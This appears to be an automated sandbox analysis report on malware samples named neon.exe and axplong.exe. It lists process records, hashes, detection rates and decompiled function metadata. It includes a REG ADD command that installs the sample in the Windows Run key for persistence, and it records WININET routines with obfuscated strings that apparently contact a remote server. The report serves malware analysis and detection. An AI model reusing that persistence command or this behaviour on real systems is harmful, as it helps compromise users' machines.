Commandline:	REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "neon" /t REG_SZ /d "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\neon.exe"
Imagebase:	0x7ff72ac40000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	15:33:58
Start date:	26/09/2024
Path:	C:\Users\user\AppData\Local\Temp\neon.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\neon.exe"
Imagebase:	0xef0000
File size:	78'336 bytes
MD5 hash:	0E362E7005823D0BEC3719B902ED6D62
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 83%, ReversingLabs
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	15:33:58
Start date:	26/09/2024
Path:	C:\Users\user\AppData\Local\Temp\neon.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\neon.exe"
Imagebase:	0x9e0000
File size:	78'336 bytes
MD5 hash:	0E362E7005823D0BEC3719B902ED6D62
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Function 04ED0A7D Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2100747114.0000000004ED0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ed0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a61294147401da7da8c0f2477e8cffe2941ce52934da926e5090e2ecef443f29
Instruction ID: a8270b25a3da6e87a2ebb0e7aac853b14b8c79fe96cc6d21c56d4eda5d775a43
Opcode Fuzzy Hash: a61294147401da7da8c0f2477e8cffe2941ce52934da926e5090e2ecef443f29
Instruction Fuzzy Hash: 1A119DEB34C114BDF14291816B14EF6666DE7D273CB38A426F443D9402F3982A4B7035

Function 04ED0AF0 Relevance: .1, Instructions: 127COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2100747114.0000000004ED0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ed0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5406aeade478a6bc555538dbf98fe4c3cdbef76c28b24e0e376ab17eb0dd4e7e
Instruction ID: fee2b592d90c7a4ffc821e4ecfedae14a4a478da49d7268f4e8b84e88ad496e1
Opcode Fuzzy Hash: 5406aeade478a6bc555538dbf98fe4c3cdbef76c28b24e0e376ab17eb0dd4e7e
Instruction Fuzzy Hash: AB21F1FA34C240BEF10285515A14EFA7B6DEBC263CB38A56BF483D5002F2952A5BA135

Function 04ED0A88 Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2100747114.0000000004ED0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ed0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7237c6e9d57943f22302c2eaea60e514c4d3df15abf198b71d44fd8cd8ad9b30
Instruction ID: 13eb8860531a9267d0b1e3a6ecb56f8f880ed89866f5367f0215cb72a8693bd9
Opcode Fuzzy Hash: 7237c6e9d57943f22302c2eaea60e514c4d3df15abf198b71d44fd8cd8ad9b30
Instruction Fuzzy Hash: B511CDEB34D114BEF14285816F14EFA6B6DEBD273CB38A52BF443D6002F2981A0B6135

Function 04ED0B0B Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2100747114.0000000004ED0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ed0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0dbf96e22193f274bc6cd5ca8d9a47ade470df07ab1b16e27977088f17713e2c
Instruction ID: a823fcdd58912aa91b2887451b8ec80d8bf0b50db8ed82c61ae206908f24eb12
Opcode Fuzzy Hash: 0dbf96e22193f274bc6cd5ca8d9a47ade470df07ab1b16e27977088f17713e2c
Instruction Fuzzy Hash: 1A1185AB34C114BDF14291816B24AFA666EEBC273CB38A527F443D5402F3992A4BA035

Function 04ED0AB3 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2100747114.0000000004ED0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ed0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: effeeef6cf5a149a910ee40125e52c8e3c053142c9d20a62c6bc4b510de025ce
Instruction ID: 99a8cadeef8f01462e3ce5654a74e6a7a37dbaf1206492e55ffcaecb74afabf8
Opcode Fuzzy Hash: effeeef6cf5a149a910ee40125e52c8e3c053142c9d20a62c6bc4b510de025ce
Instruction Fuzzy Hash: 0E11C1EB34C114BDF14291856B14EF6666EEBC273CB38A567F403D9402F3982A4BB131

Function 04ED0AD4 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2100747114.0000000004ED0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ed0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8bf30d896edb9d15c4da68c689cafe616fded951abb92fad6bea9069c15c4f00
Instruction ID: 835a1c61b7090f7ae2c102f2e97dbf598e0e226dd864bfde593fa7e63cadef37
Opcode Fuzzy Hash: 8bf30d896edb9d15c4da68c689cafe616fded951abb92fad6bea9069c15c4f00
Instruction Fuzzy Hash: E511C2EB34C114BDF14291816B28AF6676DEBD233DB38A567F443D9402F3952A0B6035

Function 04ED0B2E Relevance: .1, Instructions: 80COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2100747114.0000000004ED0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ed0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ea4299423c5ada42ff8451836bd392fabd8cb8c435f5309dedb36af49e4a418
Instruction ID: 516d99f53d328312f57150202e97bbda886fc4d8060b67da7b4670023b1f4a88
Opcode Fuzzy Hash: 9ea4299423c5ada42ff8451836bd392fabd8cb8c435f5309dedb36af49e4a418
Instruction Fuzzy Hash: 4D0126E738C114BDE142A5819B54AF52B6EEBC233CB386567F043D9402F3952A4BB135

Function 04ED0B45 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2100747114.0000000004ED0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ed0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17bab0c301f6bd10834ca6e82388d4c1bcc416a0b815a6e70ff8eabe930670d5
Instruction ID: 591baebfc997ecb4c38d2663527fb7f6713e7eeb89bcb92cc2e0c4ea80b65cec
Opcode Fuzzy Hash: 17bab0c301f6bd10834ca6e82388d4c1bcc416a0b815a6e70ff8eabe930670d5
Instruction Fuzzy Hash: 38F04CA330C204FED28256908680AF47759BF9233DB386166F0479A502F3A92647B231

Function 04ED0B5B Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2100747114.0000000004ED0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ed0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e07cfa1c1357aac6277a90bd2171c59df115c160381b4f9ba5fd861f75b66e3
Instruction ID: ff54241753dd6826bf1ae6034a06a99fbe7f2528e39b28ca200e6d3c05569eff
Opcode Fuzzy Hash: 5e07cfa1c1357aac6277a90bd2171c59df115c160381b4f9ba5fd861f75b66e3
Instruction Fuzzy Hash: 12F02BA730D304FED28156945604AF17659AB9233DF3C6676F043A5401F3A42547F131

Function 04ED0B87 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2100747114.0000000004ED0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ed0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fea11c83b490e8e36dbaa5f29812e9ff7b312183aacd76ae13005ffb522467a6
Instruction ID: f4ef874b2eb8e5edc1472ee4a5516c6ab33a8692775c4f2007d791e91e9c5603
Opcode Fuzzy Hash: fea11c83b490e8e36dbaa5f29812e9ff7b312183aacd76ae13005ffb522467a6
Instruction Fuzzy Hash: 8BE055A734C208FEE28166A08600AF47AA9EB81339F34A962F047E5001F2A01947B131

Function 04ED0BCD Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2100747114.0000000004ED0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ed0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7238e02b580d0c71769562000d788b730b3bd378afee2c50a760c4a7e54b5c9f
Instruction ID: df89b50789c269766823cd1d164a401accf970256e5f96b7cacd6a716a7f19ef
Opcode Fuzzy Hash: 7238e02b580d0c71769562000d788b730b3bd378afee2c50a760c4a7e54b5c9f
Instruction Fuzzy Hash: 73E07DEB14C444ADF0C160A15F003F7931CD7D1734A3897637047D34837258164AB030

Function 04ED0BAA Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2100747114.0000000004ED0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ed0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3f1c69d94afb2f89bcaaa1f28b3e17db9db34ed1d6ac5e91560f27791f341be
Instruction ID: 5b3296085b3aa62d8d4d0e94b1435f2c04ee167a84e388c2c735af3c0e754476
Opcode Fuzzy Hash: d3f1c69d94afb2f89bcaaa1f28b3e17db9db34ed1d6ac5e91560f27791f341be
Instruction Fuzzy Hash: 9EE026E720C108EEE0C1689017046F5B21CE79263DF38B696B083A1401F285254BA032

Function 04ED0BBE Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2100747114.0000000004ED0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ed0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 517b98f7557637a9af86fe8239074880865f14cac4a7c90a3c06631f887b4204
Instruction ID: 3c861ceedd3cbb25daa31973f1ef7b5d11902edb7aa36b19fad59d0e45b839ae
Opcode Fuzzy Hash: 517b98f7557637a9af86fe8239074880865f14cac4a7c90a3c06631f887b4204
Instruction Fuzzy Hash: 06E0CDF724C104EEE1C1A59157446F5B76CFBD1638F3855A7B043D5402F354195BE135

Analysis Process: axplong.exePID: 4024, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	9.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	8.2%
Total number of Nodes:	1966
Total number of Limit Nodes:	44

Executed Functions

Function 007CBD60 Relevance: 19.6, APIs: 5, Strings: 6, Instructions: 310
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetOpenW.WININET(00818D70,00000000,00000000,00000000,00000000), ref: 007CBDED
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 007CBE10
HttpOpenRequestA.WININET(?,00000000), ref: 007CBE5B
HttpSendRequestA.WININET(?,00000000), ref: 007CBF1A
InternetReadFile.WININET(?,?,000003FF,?), ref: 007CBFCC
InternetCloseHandle.WININET(?), ref: 007CC0A7
InternetCloseHandle.WININET(?), ref: 007CC0AF
InternetCloseHandle.WININET(?), ref: 007CC0B7

Strings

stoi argument out of range, xrefs: 007CE3FA
8KG0fymoFx==, xrefs: 007CC2EB, 007CC543
RHYTYv==, xrefs: 007CBE33
8KG0fCKZFzY=, xrefs: 007CC385
RpKt, xrefs: 007CD516
invalid stoi argument, xrefs: 007CE404

Memory Dump Source

Source File: 00000006.00000002.3308231483.00000000007C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000006.00000002.3308111277.00000000007C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308231483.0000000000822000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308553964.0000000000829000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.00000000009A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000A89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000AB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ABD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ACA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3309567190.0000000000ACB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310070037.0000000000C64000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310146337.0000000000C66000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7c0000_axplong.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSend
String ID: 8KG0fCKZFzY=$8KG0fymoFx==$RHYTYv==$RpKt$invalid stoi argument$stoi argument out of range
API String ID: 688256393-332458646
Opcode ID: d894898db9eeff75b1d9680cf6085c416340ec8834a9b23eddd60b9e2617a686
Instruction ID: 87dc8fed08fdf289bd153de9af00fd0a204fa97fe64724b4c8d0f205d1429396
Opcode Fuzzy Hash: d894898db9eeff75b1d9680cf6085c416340ec8834a9b23eddd60b9e2617a686
Instruction Fuzzy Hash: 54B1C3B1610118DBEB25CF28CC85BAEBB79EF45304F5041ADF50997282E7799AC0CB95

Function 007CE440 Relevance: 13.4, Strings: 10, Instructions: 878
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

MJB+, xrefs: 007CE734
WGt=, xrefs: 007CF62D, 007CF90A
111, xrefs: 007CF6B0
GqKudSO2, xrefs: 007CE47F
UD==, xrefs: 007CEA1F, 007CEC66
246122658369, xrefs: 007CF647, 007CF924, 007D04F7
fed3aa, xrefs: 007CFA9E
MT==, xrefs: 007CE4A5
WWp=, xrefs: 007D04DA
#, xrefs: 007D0534

Memory Dump Source

Source File: 00000006.00000002.3308231483.00000000007C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000006.00000002.3308111277.00000000007C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308231483.0000000000822000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308553964.0000000000829000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.00000000009A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000A89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000AB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ABD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ACA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3309567190.0000000000ACB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310070037.0000000000C64000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310146337.0000000000C66000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7c0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$GqKudSO2$MJB+$MT==$UD==$WGt=$WWp=$fed3aa
API String ID: 0-3582826820
Opcode ID: cdca1bf57ba6e03b66a212c2585dce730f9f641afdaa9e322390e25a5dba617c
Instruction ID: 8c1341450a2c68ea001f5ede59735e86cfc3d7bc26808f86798b1ba5406b23b6
Opcode Fuzzy Hash: cdca1bf57ba6e03b66a212c2585dce730f9f641afdaa9e322390e25a5dba617c
Instruction Fuzzy Hash: C272E470904288DBEF18EF68C949BDD7BB6EB45304F50819DE805673C2D7799A88CBD2

Function 007DD312 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 007C247E

Memory Dump Source

Source File: 00000006.00000002.3308231483.00000000007C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000006.00000002.3308111277.00000000007C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308231483.0000000000822000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308553964.0000000000829000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.00000000009A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000A89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000AB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ABD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ACA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3309567190.0000000000ACB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310070037.0000000000C64000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310146337.0000000000C66000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7c0000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: 0ca233889fda3119dfe3899bdf37c5395849948b098720477e2ba85fe36c272f
Instruction ID: db1c7c45e36543cbc0fd60d7e6542d5552f0eeea662d4f3b4cd3722eaeca0094
Opcode Fuzzy Hash: 0ca233889fda3119dfe3899bdf37c5395849948b098720477e2ba85fe36c272f
Instruction Fuzzy Hash: 3251A9B1A00A09DFDB35CF59E8856AAB7B5FB48310F24862BD405EB394D7389D41CF60

Function 007D3550 Relevance: 51.5, APIs: 1, Strings: 28, Instructions: 761
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Xinvalid_argument.LIBCPMT ref: 007D425F

Part of subcall function 007D7870: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 007D795C
Part of subcall function 007D7870: __Cnd_destroy_in_situ.LIBCPMT ref: 007D7968
Part of subcall function 007D7870: __Mtx_destroy_in_situ.LIBCPMT ref: 007D7971

Strings

V0x6, xrefs: 007D541E
stoi argument out of range, xrefs: 007D2E02, 007D4269, 007D4EAC
5120, xrefs: 007D3ABF, 007D3BAA
Vp 6, xrefs: 007D5447
5F6, xrefs: 007D5497
9KN6, xrefs: 007D5351
8ZF6, xrefs: 007D5502
fed3aa, xrefs: 007D5489
WJms, xrefs: 007D3BD9
KFT0PL==, xrefs: 007D54B9
V5Qk, xrefs: 007D3DC0
", xrefs: 007D3E99
Fz==, xrefs: 007D369E, 007D4D2D
9526, xrefs: 007D531D
WJP6, xrefs: 007D53A3
V0N6, xrefs: 007D537A
aqB6, xrefs: 007D54DB
MJF+, xrefs: 007D47BD, 007D48EC, 007D4ADC, 007D4C0B
MJB+, xrefs: 007D4776, 007D47ED, 007D4A95, 007D4B0C
6F9fr==, xrefs: 007D4712
W07l, xrefs: 007D3AEE
JB6, xrefs: 007D53F5
aZT6, xrefs: 007D53CC
HBhr, xrefs: 007D378F
mP=, xrefs: 007D6383
246122658369, xrefs: 007D1EA5, 007D27EE, 007D2A43, 007D2AB0, 007D2E88, 007D3373, 007D33D4, 007D4F3A, 007D4F4D, 007D4F8F, 007D4F99, 007D54F4
96B6, xrefs: 007D5470
invalid stoi argument, xrefs: 007D2DE9, 007D2DF8, 007D425A, 007D4E9D

Memory Dump Source

Source File: 00000006.00000002.3308231483.00000000007C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000006.00000002.3308111277.00000000007C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308231483.0000000000822000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308553964.0000000000829000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.00000000009A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000A89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000AB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ABD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ACA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3309567190.0000000000ACB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310070037.0000000000C64000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310146337.0000000000C66000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7c0000_axplong.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situXinvalid_argumentstd::_
String ID: 5F6$ 6F9fr==$ JB6$ mP=$"$246122658369$5120$8ZF6$9526$96B6$9KN6$Fz==$HBhr$KFT0PL==$MJB+$MJF+$V0N6$V0x6$V5Qk$Vp 6$W07l$WJP6$WJms$aZT6$aqB6$fed3aa$invalid stoi argument$stoi argument out of range
API String ID: 4234742559-3875209911
Opcode ID: 9aa4458071131ac81bcf83c4b847c64b72728b7992182fd91a48b48d9118052b
Instruction ID: ed0db60263c1dc3b686b8c7548862a0955c20c96efaa3747bf59c822d388342f
Opcode Fuzzy Hash: 9aa4458071131ac81bcf83c4b847c64b72728b7992182fd91a48b48d9118052b
Instruction Fuzzy Hash: 4C520771A00248DBDF18EF78CD4A79DBB75AF45304F50419EE445AB382E7399B84CBA2

Function 007D2E20 Relevance: 36.3, APIs: 5, Strings: 15, Instructions: 1325COMMON

Download Yara Rule

APIs

Part of subcall function 007D7870: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 007D795C
Part of subcall function 007D7870: __Cnd_destroy_in_situ.LIBCPMT ref: 007D7968
Part of subcall function 007D7870: __Mtx_destroy_in_situ.LIBCPMT ref: 007D7971

std::_Xinvalid_argument.LIBCPMT ref: 007D425F

Strings

stoi argument out of range, xrefs: 007D2E02, 007D4269
5120, xrefs: 007D3ABF, 007D3BAA
Fz==, xrefs: 007D369E
WWt=, xrefs: 007D1E88, 007D2A26, 007D2E6E
WWp=, xrefs: 007D2A93, 007D3359
WJms, xrefs: 007D3BD9
W07l, xrefs: 007D3AEE
8KG0fymoFx==, xrefs: 007D2EC7, 007D3136
WGt=, xrefs: 007D27D1, 007D33BA
8KG0fCKZFzY=, xrefs: 007D2F64
V5Qk, xrefs: 007D3DC0
HBhr, xrefs: 007D378F
", xrefs: 007D3E99
246122658369, xrefs: 007D1EA5, 007D27EE, 007D2A43, 007D2AB0, 007D2E88, 007D3373, 007D33D4
invalid stoi argument, xrefs: 007D2DE9, 007D2DF8, 007D425A

Memory Dump Source

Source File: 00000006.00000002.3308231483.00000000007C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000006.00000002.3308111277.00000000007C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308231483.0000000000822000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308553964.0000000000829000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.00000000009A6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000A89000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000AB5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ABD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.0000000000ACA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3309567190.0000000000ACB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310070037.0000000000C64000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3310146337.0000000000C66000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7c0000_axplong.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situXinvalid_argumentstd::_
String ID: "$246122658369$5120$8KG0fCKZFzY=$8KG0fymoFx==$Fz==$HBhr$V5Qk$W07l$WGt=$WJms$WWp=$WWt=$invalid stoi argument$stoi argument out of range
API String ID: 4234742559-2030321068
Opcode ID: 4b27758f6971f91213fffa3dd1649aac280d6ae447ecaa8c5c7d87305faaf9a6
Instruction ID: f28e7a08fa8cb43e00bbb687a0beee1420a99b8029433e8ad59d043f17c45a8a
Opcode Fuzzy Hash: 4b27758f6971f91213fffa3dd1649aac280d6ae447ecaa8c5c7d87305faaf9a6
Instruction Fuzzy Hash: CFB20571A00248DBEF18EF68CC4A79DBB76AF45304F50415EE445AB382E77D9B84CB92

Function 007D46C0 Relevance: 35.5, APIs: 1, Strings: 21, Instructions: 2484COMMON

Download Yara Rule

APIs

Part of subcall function 007D7870: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 007D795C
Part of subcall function 007D7870: __Cnd_destroy_in_situ.LIBCPMT ref: 007D7968
Part of subcall function 007D7870: __Mtx_destroy_in_situ.LIBCPMT ref: 007D7971

Part of subcall function 007CBD60: InternetOpenW.WININET(00818D70,00000000,00000000,00000000,00000000), ref: 007CBDED
Part of subcall function 007CBD60: InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 007CBE10
Part of subcall function 007CBD60: HttpOpenRequestA.WININET(?,00000000), ref: 007CBE5B

std::_Xinvalid_argument.LIBCPMT ref: 007D4EA2

Strings

V0x6, xrefs: 007D541E
stoi argument out of range, xrefs: 007D4269, 007D4EAC
Vp 6, xrefs: 007D5447
5F6, xrefs: 007D5497
9KN6, xrefs: 007D5351
8ZF6, xrefs: 007D5502
Fz==, xrefs: 007D369E, 007D4D2D
9526, xrefs: 007D531D
WJP6, xrefs: 007D53A3
fed3aa, xrefs: 007D5489
V0N6, xrefs: 007D537A
aqB6, xrefs: 007D54DB
MJF+, xrefs: 007D47BD, 007D48EC, 007D4ADC, 007D4C0B
MJB+, xrefs: 007D4776, 007D47ED, 007D4A95, 007D4B0C
6F9fr==, xrefs: 007D4712
KFT0PL==, xrefs: 007D54B9
JB6, xrefs: 007D53F5
aZT6, xrefs: 007D53CC
mP=, xrefs: 007D6383, 007D6652
246122658369, xrefs: 007D4F3A, 007D4F4D, 007D4F8F, 007D4F99, 007D54F4
96B6, xrefs: 007D5470

Memory Dump Source

Source File: 00000006.00000002.3308231483.00000000007C1000.00000040.00000001.01000000.00000007.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000006.00000002.3308111277.00000000007C0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308231483.0000000000822000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308553964.0000000000829000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.000000000082B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3308640872.00000000009A6000.00000040.00000001.01000000.00000007.sdmpDownload File
